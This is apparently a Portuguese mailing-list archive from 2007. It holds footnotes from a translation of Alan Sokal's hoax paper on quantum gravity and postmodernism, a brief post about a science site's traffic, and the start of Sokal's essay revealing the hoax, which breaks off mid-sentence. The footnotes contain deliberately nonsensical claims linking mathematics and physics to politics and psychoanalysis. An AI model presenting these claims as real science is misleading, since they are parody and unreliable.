47...Waddington (1965), Corner (1966), Gierer *et al.* (1978).

48...Alguns dos autores pioneiros pensavam que o campo morfogen�tico podia
ser relacionado ao campo eletromagn�tico, mas hoje em dia se compreende que
isso � apenas uma analogia sugestiva; ver Sheldrake (1981, 77, 90) para uma
exposi��o clara. Note tamb�m o ponto (b) abaixo.

49...Boulware e Deser (1975).

50...Para outro exemplo do efeito "territ�rio", ver Chomsky (1979, 6-7).

51...Para ser justo com a ordem estabelecida da f�sica de altas energias, eu
deveria mencionar que tamb�m existe uma raz�o intelectual honesta para sua
oposi��o a esta teoria: uma vez que assume uma intera��o sub-qu�ntica
ligando padr�es pelo universo afora, ela �, na terminologia dos f�sicos, uma
"teoria de campo n�o-local". Agora, a hist�ria da f�sica cl�ssica te�rica
desde o in�cios dos anos 1800, desde a eletrodin�mica de Maxwell at� a
relatividade geral de Einstein, pode ser lida em um sentido muito profundo
como uma tend�ncia de teorias de a��o � dist�ncia e em dire��o a *teorias de
campo local*: em termos t�cnicos, teorias express�veis por equa��es
diferenciais parciais (Einstein e Infeld 1961, Hayles 1984). Ent�o, uma
teoria de campo n�o-local definitivamente rema contra a mar�. Por outro
lado, como Bell (1987) e outros argumentaram convincentemente, a propriedade
chave da mec�nica qu�ntica � precisamente sua *n�o-localiza��o*, como
expresso no teorema de Bell e em suas generaliza��es (ver Notas
23<http://www.str.com.br/Scientia/transgredindo.htm#footnote_Bell>e
24 <http://www.str.com.br/Scientia/transgredindo.htm#footnote_Greenberger>abaixo).
Portanto, uma teoria qu�ntica n�o-local, apesar de conflitante com
a intui��o cl�ssica dos f�sicos, � n�o somente natural mas de fato *
prefer�vel* (e possivelmente mesmo *indispens�vel*) no contexto qu�ntico.
Eis o motivo pelo qual a relatividade geral cl�ssica � uma teoria de campo
local, enquanto a gravidade qu�ntica (seja corda, onda ou campo
morfogen�tico) � inerentemente n�o-local.

52...A topologia diferencial � o ramo da matem�tica que estuda as
propriedades de superf�cies (e outras variedades de mais dimens�es) que n�o
s�o afetadas por deforma��es suaves. As propriedades que este ramo estuda
s�o portanto principalmente qualitativas e n�o quantitativas, e seus m�todos
s�o hol�sticos e n�o cartesianos. 53...Alvarez-Gaum� (1985). O leitor alerta
ir� notar que anomalias na "ci�ncia normal" s�o o press�gio usual de uma *
futura* mudan�a de paradigma (Kuhn 1970).

54...Kosterlitz e Thouless (1973). O florescimento da teoria das transi��es
de fase nos anos 70 reflete provavelmente uma maior �nfase na
descontinuidade e na ruptura na cultura mais ampla: ver Nota
81<http://www.str.com.br/Scientia/transgredindo.htm#footnote_phase_transitions>abaixo.

55...Green, Schwarz e Witten (1987).

56...Um livro t�pico � Nash e Sen (1983).

57...Lacan (1970, 192-193), confer�ncia em 1966. Para uma an�lise profunda
do uso de Lacan de id�ias da topologia matem�tica, ver Juranville (1984,
cap. VII), Granon-Lafont (1985,1990), Vappereau (1985) e Nasio (1987,1992);
um breve resumo � dado por Leupin (1991). Ver Hayles (1990, 80) para uma
conex�o intrigante entre a topologia Lacaniana e a teoria do caos;
infelizmente, ela n�o prosseguiu este trabalho. Ver tamb�m Zizek (1991,
38-39, 45-47) para mais homologias entre a teoria de Lacan e a f�sica
contempor�nea. Lacan tamb�m fez uso extensivo de conceitos da teoria
conjuntista dos n�meros; ver e.g. Miller (1977/78) e Ragland-Sullivan
(1990).

58...Na psicologia social burguesa, as id�ias topol�gicas foram empregadas
por Kurt Lewin j� nos anos 1930, mas este trabalho naufragou por duas
raz�es: primeiro, devido a suas pr�-concep��es ideol�gicas individualistas;
e segundo, porque se baseava na ultrapassada topologia geral em lugar da
moderna topologia diferencial e na teoria das cat�strofes. Em rela��o ao
segundo ponto, ver Back (1992).

59...Althusser (1993, 50): "Il suffit, � cette fin, reconna�tre que Lacan
conf�re enfin � la pens�e de Freud, les concepts scientifiques qu'elle
exige". Este ensaio famoso sobre "Freud e Lacan" foi publicado pela primeira
vez em 1964, antes de o trabalho de Lacan ter alcan�ado seu mais alto grau
de rigor matem�tico. Ele foi reimpresso numa tradu��o para o ingl�s em 1969
(*New Left Review*).

60...Miller (1977/78, especialmente pp. 24-25). Este artigo se tornou
bastante influente na teoria do cinema: ver e.g. Jameson (1982, 27-28) e as
refer�ncias ali citadas. Como Strathausen (1994, 69) indica, o artigo de
Miller � pesado para o leitor n�o versado na teoria matem�tica dos
conjuntos. Mas vale a pena o esfor�o. Para uma boa introdu��o � teoria dos
conjuntos, ver Bourbaki (1970).

61...Dean (1993, especialmente pp. 107-108).

62...A teoria da homologia � um dos dois ramos principais do campo
matem�tico chamado *topologia alg�brica*. Para uma excelente introdu��o �
teoria da homologia, ver Munkres (1984); ou para uma abordagem mais popular,
ver Eilenberg e Steenrod (1952). Uma teoria de homologia totalmente
relativ�stica � discutida e.g. em Eilenberg e Moore (1965). Para uma
abordagem dial�tica � teoria da homologia e sua dual, a teoria da
co-homologia, ver Massey (1978). Para uma abordagem cibern�tica da
homologia, ver Saludes i Closa (1984).

63...Para a rela��o de homologia com cortes, ver Hirsch (1976, 205-208); e
para uma aplica��o para movimentos coletivos na teoria qu�ntica de campos,
ver Caracciolo *et al.* (1993, especialmente ap. A.1).

64...Jones (1985).

65...Witten (1989).

66...James (1971, 271-272). � interessante notar, entretanto, que o espa�o �
homeom�rfico ao grupo *SO(3)* de simetrias rotacionais do espa�o euclidiano
tridimensional convencional. Assim, alguns aspectos da euclidicidade
tridimensional s�o preservados (embora em forma modificada) na f�sica
p�s-moderna, assim como alguns aspectos da mec�nica newtoniana foram
preservados em forma modificada na f�sica einsteiniana.

67...Kosko (1993). Ver tamb�m Johnson (1977, 481-482) para uma an�lise dos
esfor�os de Derrida e Lacan em dire��o � transcend�ncia da l�gica espacial
euclidiana.

68...Em linhas similares, Eve Seguin (1994, 61) notou que "a l�gica nada diz
sobre o mundo e atribui ao mundo propriedades que n�o s�o mais do que
constru��es de pensamento te�rico. Isso explica por que a f�sica desde
Einstein reside em l�gicas alternativas, tais como a l�gica trivalente que
rejeita o princ�pio do meio exclu�do." Um trabalho pioneiro (e injustamente
esquecido) nesta dire��o, igualmente inspirado pela mec�nica qu�ntica, �
Lupasco (1951). Ver tamb�m Plumwood (1993b, 453-459) para uma perspectiva
especificamente feminista sobre a l�gica n�o-cl�ssica. Para uma an�lise
cr�tica de uma l�gica n�o-cl�ssica ("l�gica da fronteira") e sua rela��o �
ideologia do ciberespa�o, ver Markley (1994).

69...Irigaray (1987, 76-77), ensaio publicado originalmente em franc�s em
1982. A frase de Irigaray "*th�orie des ensembles*" pode tamb�m ser
traduzida como "teoria dos conjuntos", e "*bords*" � usualmente traduzido no
contexto matem�tico como "fronteiras". Sua frase "*ensembles flous*" pode se
referir ao novo campo matem�tico dos "conjuntos difusos" (Kaufmann 1973,
Kosko 1993).

70...Ver e.g. Hamza (1990), McAvity e Osborn (1991), Alexander, Berg e
Bishop (1993) e refer�ncias ali citadas.

71...Green, Schwarz e Witten (1987).

72...Hamber (1992), Nabutosky e Ben-Av (1993), Kontsevich (1994).

73...Na hist�ria da matem�tica h� uma dial�tica prolongada entre o
desenvolvimento de seus ramos "puro" e "aplicado" (Struik 1987). � claro, as
"aplica��es" tradicionalmente privilegiadas neste contexto t�m sido aquelas
aproveit�veis pelos capitalistas ou �teis para suas for�as militares: por
exemplo, a teoria dos n�meros foi largamente desenvolvida para suas
aplica��es na criptografia (Loxton 1990). Ver tamb�m Hardy (1967, 120-121,
131-132).

74...A igual representa��o de todas as condi��es de fronteira � tamb�m
sugerido pela teoria do bootstrap de Chew da "democracia subat�mica": ver
Chew (1977) para uma introdu��o, e ver Morris (1988) e Markley (1992) para
an�lises filos�ficas. 75...Entre o grande corpo de trabalhos de uma
diversidade de perspectivas pol�ticas progressistas, os livros de Merchant
(1980), Keller (1985), Harding (1986), Aronowitz (1988b), Haraway (1991) e
Ross (1991) foram especialmente influentes. Ver tamb�m as refer�ncias
citadas abaixo.

76...Madsen e Madsen (1990, 471). A principal limita��o da an�lise de
Madsen-Madsen � ser essencialmente apol�tica; e dificilmente � necess�rio
apontar que disputas sobre o que � *verdadeiro* pode ter um efeito profundo
em, e s�o por sua vez afetadas por, disputas sobre *projetos pol�ticos*.
Desta forma, Markley (1992, 270) faz um apontamento similar ao de
Madsen-Madsen, mas corretamente o situa em seu contexto pol�tico:

Cr�ticas radicais da ci�ncia que pretendem escapar dos limites da dial�tica
determin�stica devem tamb�m ultrapassar debates estreitamente concebidos
sobre o realismo e a verdade para investigar que tipos de realidades -
realidades pol�ticas - devem ser engendradas por um *bootstrap* dial�gico.
Em ambientes dialogicamente agitados, debates sobre a realidade se tornam,
em termos pr�ticos, irrelevantes. "Realidade", finalmente, � uma constru��o
hist�rica.

Ver Markley (1992, 266-272) e Hobsbawm (1993, 63-64) para mais discuss�es
das implica��es pol�ticas.

77...Madsen e Madsen (1990, 471-472).

78...Aronowitz (1988b, 292-293) faz uma cr�tica, levemente diferente mas
igualmente convincente, da cromodin�mica qu�ntica (a teoria correntemente
hegem�nica que representa n�cleons como estados permanentemente ligados de
quarks e gluons): baseando-se no trabalho de Pickering (1984), ele nota que

em sua [de Pickering] abordagem, quarks s�o o nome designado para fen�menos
(ausentes) que se harmoniza com teorias de part�culas em vez de teorias de
campo, que, em cada caso, oferecem diferentes, apresar de igualmente
plaus�veis, explica��es par a mesma observa��o (inferida). Que a maior parte
da comunidade cient�fica escolheu um ao outro � uma fun��o da prefer�ncia
dos cientistas para a tradi��o e n�o pela validade da explica��o.
Entretanto, Pickering n�o volta o suficiente na hist�ria da f�sica para
encontrar a base da tradi��o de pesquisa da qual emana a explica��o pelos
quarks. Ela n�o pode ser encontrada dentro da tradi��o mas na ideologia da
ci�ncia, nas diferen�as entre teorias de campo *versus* teoria de
part�culas, explica��es simples *versus* complexas, a inclina��o � certeza
em vez da indetermina��o

Em linhas bastante similares, Markley (1992, 269) observa que a prefer�ncia
dos f�sicos para a cromodin�mica qu�ntica � teoria do bootstrap de Chew da
"democracia subat�mica" (Chew 1977) � um resultado da ideologia e n�o dos
dados:

N�o surpreende, a esse respeito, que a teoria do bootstrap caiu em relativa
desaprova��o entre f�sicos em busca de uma TGU [Teoria Gr� Unificada] ou TDT
(Teoria de Tudo) para explicar a estrutura do universo. Teorias
compreens�veis que explicam "tudo" s�o produtos da coer�ncia privilegiada e
da ordem na ci�ncia ocidental. A escolha entre a teoria do bootstrap e as
teorias de tudo que confrontam os f�sicos *n�o* tem a ver em princ�pio com o
valor verdadeiro oferecido por essas explica��es dos dados dispon�veis mas
com estruturas narrativas - indeterminadas ou determin�sticas - nas quais
estes dados s�o colocados e por quais s�o interpretados.

Infelizmente, a vasta maioria dos f�sicos ainda n�o se deram conta destas
cr�ticas incisivas de um de seus dogmas mais fervorosamente resguardados.
Para outra cr�tica da ideologia escondida da f�sica de part�culas
contempor�nea, ver Kroker *et al.* (1989, 158-162, 204-207). O estilo desta
cr�tica � de fato baudrillardiano demais para meu gosto s�brio, mas o
conte�do (exceto por algumas inexatid�es menores) atinge seu objetivo.

79...Ross (1991, 29). Para um divertido exemplo de como esta exig�ncia
modesta tem levado cientistas da direita a crises de apoplexia
("assustadoramente Stalinista" � o ep�teto escolhido), ver Gross e Levitt
(1994, 91).

80...Oliver (1989, 146).

81...Enquanto a teoria do caos tem sido profundamente estudada por analistas
culturais - ver e.g. Hayles (1990,1991), Argyros (1991), Best (1991), Young
(1991,1992), Assad (1993) entre muitos outros - a teoria das transi��es de
fase tem passado bastante esquecida. (Uma exce��o � a discuss�o do grupo de
renormaliza��o em Hayles (1990, 154-158).) � uma pena, pois a
descontinuidade e a emerg�ncia de m�ltiplas escalas s�o caracter�sticas
centrais nesta teoria; e seria interessante saber como o desenvolvimento
destes temas nos anos 1970 e ap�s est� conectado a tend�ncias na cultura
mais ampla. Sugiro portanto esta teoria como um campo frut�fero para
pesquisa futura por analistas culturais. Alguns teoremas sobre a
descontinuidade que podem ser relevantes para esta an�lise podem ser
encontrados em Van Enter, Fern�ndez e Sokal (1993).

82...Irigaray (1985), Hayles (1992). Ver, entretanto, Schor (1989) para uma
cr�tica da defer�ncia excessiva de Irigaray para com a ci�ncia convencional
(masculina), particularmente a f�sica.

83...Thom (1975,1990), Arnol'd (1992).

84...Em rela��o � metaf�sica cartesiana/baconiana, Robert Markley (1991, 6)
observou que

Narrativas do progresso cient�fico dependem da imposi��o de oposi��es
bin�rias - verdadeiro/falso, certo/errado - em conhecimento te�rico e
experimental, privilegiando o significado em rela��o ao ru�do, meton�mia �
met�fora, autoridade monol�gica � conten��o dial�gica. ... Tais tentativas
de prender a natureza s�o ideologicamente coercitivas, bem como
descritivamente limitadas. Elas focalizam aten��o somente na pequena faixa
de fen�menos - digamos, din�mica linear - que parecem oferecer formas f�ceis
e freq�entemente idealizadas de modelar e interpretar as rela��es da
humanidade com o universo.

Enquanto esta observa��o � informada principalmente pela teoria do caos - e
em segundo lugar pela mec�nica qu�ntica n�o-relativ�stica - de fato resume
de uma bela forma o desafio radical a metaf�sicos modernistas colocado pela
gravidade qu�ntica.

85...Capra (1988, 145). Uma advert�ncia: tenho fortes reservas sobre o uso
de Capra aqui da palavra "c�clico", que se interpretada literalmente demais
poderia promover uma passividade politicamente regressiva. Para mais
an�lises destes temas, ver Bohm (1980), Merchant (1980,1992), Berman (1981),
Prigogine e Stengers (1984), Bowen (1985), Griffin (1988), Kitchener (1988),
Callicott (1989, caps. 6 e 9), Shiva (1990), Best (1991), Haraway
(1991,1994), Mathews (1991), Morin (1992), Santos (1992) e Wright (1992).

86...Markley (1992, 264). Uma pequena cr�tica: N�o est� claro para mim que a
teoria dos n�meros complexos, que � ainda um ramo novo e bastante
especulativo da f�sica matem�tica, deva ser tratada com o mesmo prest�gio
epistemol�gico que as tr�s ci�ncias firmemente estabelecidas citadas por
Markley.

87...Ver Wallerstein (1993, 17-20) para uma incisiva e bastante an�loga
abordagem de como a f�sica p�s-moderna est� come�ando a adotar id�ias das
ci�ncias sociais hist�ricas; e ver Santos (1989,1992) para um
desenvolvimento mais detalhado.

88...Aronowitz (1988b, 344).

89...Neste ponto, a resposta tradicional dos cientistas � que um trabalho
que n�o esteja em conformidade com os padr�es de evid�ncia da ci�ncia
convencional � fundamentalmente irracional, i.e. logicamente falho e
portanto indigno de confian�a. Mas esta refuta��o � insuficiente: pois, como
Porush (1993) lucidamente observou, a matem�tica moderna e a f�sica
admitiram *elas pr�prias* uma poderosa "intrus�o do irracional" na mec�nica
qu�ntica e o teorema de G�del - apesar de, compreensivelmente, como os
pitag�ricos 24 s�culos atr�s, cientistas modernistas t�m tentado exorcizar
este elemento irracional indesej�vel o m�ximo que podem. Porush faz um
poderoso apelo por uma "epistemologia p�s-racional" que iria reter o melhor
da ci�ncia ocidental convencional e, ao mesmo tempo, validar formas
alternativas de conhecimento.

Note tamb�m que Jacques Lacan, de outro ponto de partida, chegou h� muito
tempo a uma aprecia��o similar do papel inevit�vel da irracionalidade na
matem�tica moderna:

Se voc� me permite usar uma daquelas formulas que me chegam enquanto escrevo
minhas notas, a vida humana poderia ser definida como um c�lculo no qual o
zero fosse irracional. Esta f�rmula � somente uma imagem, uma met�fora
matem�tica. Quando digo "irracional", estou me referindo n�o a algum estado
emocional incompreens�vel mas precisamente ao que � chamado um n�mero
imagin�rio. A raiz quadrade de menos um n�o corresponde a nada que esteja
sujeito � nossa intui��o, nada real - no sentido matem�tico do termo - e
ainda assim deve ser conservado, com sua fun��o completa.

[Lacan (1977, 28-29), semin�rio originalmente dado em 1959.] Para mais
reflex�es a respeito da irracionalidade na matem�tica moderna, ver Solomon
(1988, 76) e Bloor (1991, 122-125).

90...Ver e.g. Aronowitz (1994) e a discuss�o subseq�ente.

91...Markley (1992, 271).

92...Markley (1992, 271). Por uma linha paralela, Donna Haraway (1991,
191-192) argumentou eloq�entemente por uma ci�ncia democr�tica compreendendo
"conhecimentos parciais, localiz�veis e cr�ticos que sustentem a
possibilidade de redes de conex�es chamadas solidariedade na pol�tica e
conversa��es partilhadas na epistemologia" e fundamentada em "uma doutrina e
pr�tica da objetividade que privilegia a contesta��o, a desconstru��o, a
constru��o apaixonada, as conex�es em rede, e o desejo pela transforma��o de
sistemas de conhecimento e pontos de vista." Estas id�ias s�o mais
desenvolvidas em Haraway (1994) e Doyle (1994).

93...Aronowitz (1988b, 351). Apesar de surgida em 1988, esta observa��o �
totalmente verdadeira hoje em dia.

94...Freire (1970), Aronowitz e Giroux (1991,1993).

95...Para um exemplo no contexto da revolu��o Sandinista, ver Sokal (1987).

96...Merchant (1980), Easlea (1981), Keller (1985,1992), Harding
(1986,1991), Haraway (1989,1991), Plumwood (1993a). Ver Wylie *et
al.*(1990) para uma extensa bibliografia. A cr�tica feminista da
ci�ncia tem
sido, n�o surpreendentemente, o objeto de um contra-ataque �cido da direita.
Para algumas amostras, ver Levin (1988), Haack (1992,1993), Sommers (1994),
Gross e Levitt (1994, cap. 5) e Patai e Koertge (1994).

97...Trebilcot (1988), Hamill (1994).

98...Ezeabasili (1977), Van Sertima (1983), Frye (1987), Sardar (1988),
Adams (1990), Nandy (1990), Alvares (1992), Harding (1994). Assim como a
cr�tica feminista, a prespectiva multiculturalista tem sido ridicularizada
por cr�ticos da direita, com tal menosprezo que beirou em alguns casos ao
racismo. Ver e.g. Ortiz de Montellano (1991), Martel (1991/92), Hughes
(1993, cap. 2) e Gross e Levitt (1994, 203-214).

99...Merchant (1980,1992), Berman (1981), Callicott (1989, caps. 6 e 9),
Mathews (1991), Wright (1992), Plumwood (1993a), Ross (1994).

100...Ver Wojciehowski (1991) para uma descontru��o da ret�rica de Galileu,
em particular sua alega��o de que o m�todo matem�tico-cient�fico pode levar
a um conhecimento direto e confi�vel da "realidade". 101...Uma contribui��o
bastante recente mas importante � filosofia da matem�tica pode ser
encontrada no trabalho de Deleuze e Guattari (1994, cap. 5). Aqui eles
introduzem a filosoficamente frut�fera no��o de um "functivo" [fr. *fonctif*],
que n�o � nem uma fun��o [Fr. *fonction*] nem um funcional [Fr. *
fonctionnelle*] mas sim uma entidade conceitual mais b�sica:

O objeto da ci�ncia n�o s�o os conceitos mas sim fun��es que s�o
apresentadas como proposi��es em sistemas discursivos. Os elementos das
fun��es s�o chamados *functives*. [p. 117]

Esta id�ia aparentemente simples tem conseq��ncias surpreendentemente sutis
e de longo alcance; sua elucida��o requer um desvio at� a teoria do caos
(ver tamb�m Rosenberg 1993 e Canning 1994):

...a primeira diferen�a entre a ci�ncia e a filosofia s�o suas respectivas
atitudes perante o caos. O caos � definido n�o tanto pela sua desordem mas
pela infinita velocidade coma qual cada forma sendo delineada nele se
desfaz. � um vazio que n�o � um nada mas um virtual, contendo todas as
part�culas poss�veis e desenhando todas as poss�veis formas, que aparecem
somente para desaparecer imediatamente, sem consist�ncia ou refer�ncia, sem
conseq��ncia. O caos � uma velocidade infinita de nascimento e
desaparecimento. [pp. 117-118]

Mas a ci�ncia, diferentemente da filosofia, n�o pode lidar com velocidades
infinitas:

...� pela frenagem que a mat�ria, bem como o pensamento cient�fico capaz de
penetr�-la [*sic*] com proposi��es, � atualizada. Uma fun��o � um
movimento-lento. Claro, a ci�ncia constantemente avan�a as acelera��es, n�o
somente na cat�lise mas em aceleradores de part�culas e expans�es que movem
gal�xias. Entretanto, a frenagem primordial n�o � para estes fen�menos um
instante-zero com o qual eles nascem mas sim uma condi��o co-extensiva com
todo seu desenvolvimento. Frear � impor um limite no caos ao qual todas as
velocidades est�o sujeitas, de forma que formam uma vari�vel determinada
como abscissa, ao mesmo tempo em que o limite forma uma constante universal
que n�o pode ser ultrapassada (por exemplo, um grau m�ximo de contra��o). *Os
primeiros functivos s�o portanto o limite e a vari�vel,* e a refer�ncia ;e
uma rela��o entre valores da vari�vel ou, mais profundamente, a rela��o da
vari�vel, como abscissa das velocidades, com o limite. [pp. 118-119, �nfase
minha]

Uma an�lise subseq�ente bastante intrincada (longa demais para colocar aqui)
leva � conclus�o de profunda import�ncia metodol�gica para aquelas ci�ncias
baseadas no modelamento matem�tico:

A independ�ncia respectiva das vari�veis aparece na matem�tica quando uma
delas est� em pot�ncia superior em rela��o a outra. � por isso que Hegel
mostra que a variabilidade na fun��o n�o � confinada a valores que possam
ser mudados ( e ) ou s�o deixados indeterminados (*a=2b*) mas requer que uma
das vari�veis esteja em uma pot�ncia superior ( ). [p. 122]

(Note que a tradu��o inglesa inadvertidamente escreve , um erro divertido
que mutila completamente a l�gica do argumento.) Surpreendentemente para um
trabalho filos�fico t�cnico, este livro (*Qu'est-ce que la philosophie?*)
foi um dos mais vendidos na Fran�a em 1991. Reapareceu recentemente em
tradu��o para o ingl�s, mas � dif�cil que possa competir com �xito com Rush
Limbaugh e Howard Stern pelas listas de mais vendidos neste pa�s.

102...Aronowitz (1988b, 346). Para um ataque vicioso da direita sobre esta
proposi��o, ver Gross e Levitt (1994, 52-54). Ver Ginzberg (1989),
Cope-Kasten (1989), Nye (1990) e Plumwood (1993b) para cr�ticas feministas
l�cidas da l�gica matem�tica convencional (masculinista), em
particular o *modus
ponens* e o silogismo. A respeito do *modus ponens*, ver tamb�m Woolgar
(1988, 45-46) e Bloor (1991, 182); e a respeito do silogismo, ver Woolgar
(1988, 47-48) e Bloor (1991, 131-135). Para uma an�lise das imagens sociais
no �mago das concep��es matem�ticas da infinidade, ver Harding (1986, 50).
Para uma demonstra��o da contextualidade das proposi��es matem�ticas, ver
Woolgar (1988, 43) e Bloor (1991, 107-130).

103...Campbell e Campbell-Wright (1993, 11). Ver Merchant (1980) para uma
an�lise detalhada dos temas de controle e domina��o na matem�tica e na
ci�ncia ocidentais. 104...Let me mention in passing two other examples of
sexism and militarism in mathematics that to my knowledge have not been
noticed previously: The first concerns the theory of branching processes,
which arose in Victorian England from the "problem of the extinction of
families", and which now plays a key role *inter alia* in the analysis of
nuclear chain reactions (Harris 1963). In the seminal (and this sexist word
is apt) paper on the subject, Francis Galton and the Reverend H.W. Watson
wrote (1874):

The decay of the families of men who occupied conspicuous positions in past
times has been a subject of frequent research, and has given rise to various
conjectures ...The instances are very numerous in which surnames that were
once common have since become scarce or have wholly disappeared. The
tendency is universal, and, in explanation of it, the conclusion has hastily
been drawn that a rise in physical comfort and intellectual capacity is
necessarily accompanied by a diminution in `fertility' ... Let be the
respective probabilities that a man has 0,1,2,... sons of his own, and so
on. What is the probability that the male line is extinct after
*r*generations, and more generally what is the probability for any
given number
of descendants in the male line in any given generation?

One cannot fail to be charmed by the quaint implication that human males
reproduce asexually; nevertheless, the classism, social-Darwinism and sexism
in this passage are obvious. The second example is Laurent Schwartz's 1973
book on *Radon Measures*. While technically quite interesting, this work is
imbued, as its title makes plain, with the pro-nuclear-energy worldview that
has been characteristic of French science since the early 1960's. Sadly, the
French left � especially but by no means solely the PCF � has traditionally
been as enthusiastic for nuclear energy as the right (see Touraine *et
al.*1980).

105...mathem�tica.

Just as liberal feminists are frequently content with a minimal agenda of
legal and social equality for women and "pro-choice", so liberal (and even
some socialist) mathematicians are often content to work within the
hegemonic Zermelo-Fraenkel framework (which, reflecting its
nineteenth-century liberal origins, already incorporates the axiom of
equality) supplemented only by the axiom of choice. But this framework is
grossly insufficient for a liberatory mathematics, as was proven long ago by
Cohen (1966). 106...Kosko (1993).

107...A teoria dos sistemas difusos foi bastante desenvolvida por
corpora��es transnacionais - primeiro no Jap�o e depois por toda a parte -
para resolver problemas pr�ticos de efici�ncia na automa��o que desloca
postos de trabalho.

108...Thom (1975,1990), Arnol'd (1992).

109...Uma an�lise interessante � feita por Schubert (1989).

*Sobre Este Documento*

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*LaTeX*2HTML<http://cbl.leeds.ac.uk/nikos/tex2html/doc/latex2html/latex2html.html>translator
Version .95.3 (Nov 17 1995) Copyright (c) 1993, 1994, Nikos
Drakos <http://cbl.leeds.ac.uk/nikos/personal.html>, Computer Based Learning
Unit, University of Leeds.

The command line arguments were:
*latex2html* transgress_v2.tex

The translation was initiated by Daniel Sleator on Thu Jun 6 15:34:37 EDT
1996.
It was converted (by hand) to a single HTML file by Alan Sokal, 16 February
1997.

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Meu blog:
http://masterofdarkness.multiply.com/journal

� s� se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire






"Se vc n�o tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja constru�do um novo c�u, s� no seu pr�prio inferno
encontrou energia para faz�-lo!" Nietszche)

"N�o importa o que fizeram a voc�.
O que importa � o que voc� faz com
aquilo que fizeram para voc�".

Jean-Paul Sartre (1905-1980)
Fil�sofo franc�s


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Aquele tema das bundas ...
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/08/2007 19:09

Retornando à vaca fria:

>Ontem escrevi:
"Por exemplo, o contador agora (19:07h - 13/08/2007) acusa 37 517 427 consultas. Amanhã, no mesmo horário, veremos ..."<

Como eu perdi os horários de consulta ...

Agora, (19:02h - 16/08/2007) acusa 37 654 140, o que me dá 136 713 consultas em 3 dias! Logo, média de 45 571 nesses dias ....e estamos longe do mês de pico!

Média de 45 000 consultas/dia num site de Ciências? Sim!

E sem bunda alguma! :-))))

[]'

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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SUBJECT: EXPERIMENTO DE UM FÍSICO COM ESTUDOS CULTURAIS
FROM: "Amauri N. Sanches Jr " <amaurij@gmail.com>
TO: Acropolis_@yahoogrupos.com.br, Conversa_de_Botequim@yahoogrupos.com.br, ciencialist <ciencialist@yahoogrupos.com.br>, ciencias2005@yahoogrupos.com.br, lucia2245@hotmail.com, Observatorio_Monoceros@yahoogrupos.com.br
DATE: 16/08/2007 19:25

*EXPERIMENTO DE UM FÍSICO COM ESTUDOS CULTURAIS* e Alan D. Sokal<sokal@nyu.edu>


Alan D. Sokal
*Departamento de Física
New York University
4 Washington Place
New York, NY 10003 USA*
Internet: SOKAL@NYU.EDU
Telefone: (212) 998-7729
Fax: (212) 995-4016

O deslocamento da idéia de que os fatos e a evidência importam pela idéia de
que tudo se reduz a interesses e perspectivas subjetivos é - segundo somente
campanhas políticas Americanas - a mais proeminente e perniciosa
manifestação de anti-intelectualismo de nosso tempo.

- Larry Laudan, *Science and Relativism* (1990)

*P*or alguns anos fui atormentado por um aparente declínio nos padrões de
rigor intelectual em certos setores das humanidades acadêmicas Americanas.
Mas sou apenas um físico: se me encontro incapaz de compreender *jouissance*e
*différance*, talvez isso reflita somente minha própria inadequação.

Então, para testar os padrões intelectuais prevalescentes, decidi tentar um
modesto (embora admitidamente não-controlado) experimento: Iria um jornal
norte-americano de estudos culturais - cujo editorial inclui ícones tais
como Fredric Jameson e Andrew Ross - publicar um artigo deliberadamente
temperado com disparates se (a) tal artigo soasse bem e (b) ele lisonjeasse
as preconcepções ideológicas dos editores?

A resposta, infelizmente, é sim. Leitores interessados podem encontrar meu
artigo, "Transgredindo as Fronteiras: Em Direção a uma Hermenêutica
Transformativa da Gravidade
Quântica<http://www.str.com.br/Scientia/transgredindo.htm>,"
na edição primavera/verão 1996 da *Social Text*. Aparece em um número
especial da revista devotado às "Guerras da Ciência".

O que está acontecendo aqui? Poderiam *realmente* os editores não terem se
dado conta de que meu artigo foi escrito como uma paródia?

No primeiro parágrafo, derivo "o dogma imposto pela longa hegemonia
pós-Esclarecimento sobre o ponto de vista intelectual Ocidental":

de que existe um mundo externo, cujas propriedades são independentes de
qualquer ser humano e de fato da humanidade como um todo; que tais
propriedades são codificadas em leis físicas "eternas"; e de que os seres
humanos podem obter conhecimento, apesar de imperfeito e provisório, destas
leis usando os procedimentos "objetivos" e escrituras epistemológicas
prescritas pelo (assim chamado) método científico.

É agora um dogma nos Estudos Culturais que não exista um mundo externo? Ou
de que existe um mundo externo mas a ciência não obtém qualquer conhecimento
dele?

No segundo parágrafo eu declaro, sem a menor evidência de argumento, que "a
?realidade? física [note as aspas] ... é no fundo uma construção social e
lingüística." Não nossas *teorias* da realidade física, veja bem, mas a
própria realidade. Bastante razoável: qualquer um que acredite que as leis
da física são meras convenções sociais está convidado a transgredir tais
convenções da janela do meu apartamento. (Eu moro no vigésimo primeiro
andar.)

Ao longo do artigo, emprego conceitos científicos e matemáticos de maneira
tal que poucos cientistas ou matemáticos poderiam possivelmente levar a
sério. Por exemplo, sugiro que o "campo morfogenético" - uma bizarra idéia
Nova Era de Rupert Sheldrake - constitui uma teoria de fronteira da
gravidade quântica. Esta conexão é pura invenção; mesmo Sheldrake não faz
tal alegação. Afirmo que as especulações psicanalíticas de Lacan foram
confirmadas por trabalhos recentes na teoria da gravidade quântica. Até
mesmo leitores não cientistas poderiam indagar o que raios a teoria quântica
de campos tem a ver com psicanálise; certamente, meu artigo não dá nenhum
argumento razoável para suportar tal conexão.

Posteriormente no artigo, proponho que o axioma da igualdade na teoria
matemática dos conjuntos é, de alguma forma, análogo ao conceito homônimo na
política feminista. Na realidade, tudo que o axioma da igualdade declara é
que dois conjuntos são idênticos se e somente se eles têm os mesmos
elementos. Mesmo leitores sem treinamento matemático poderiam muito bem
acharem suspeita a alegação de que o axioma da igualdade reflete as "origens
liberais do século dezenove" da teoria dos conjuntos.

Em suma, escrevi intencionalmente o artigo de forma que qualquer físico ou
matemático competente (ou físico graduando ou *math major*) iria se dar
conta de que ele é uma fraude. Evidentemente, os editores da *Social
Text*acharam confortável publicar um artigo sobre física quântica sem
se
preocupar em consultar qualquer pessoa que entendesse do assunto.

A insanidade fundamental de meu artigo, entretanto, não está em seus
numerosos solecismos, mas no caráter dúbio de sua tese central e na "razão"
utilizada para dar suporte a esta. Basicamente, alego que a gravidade
quântica - a ainda especulativa teoria de espaço e tempo em escalas de um
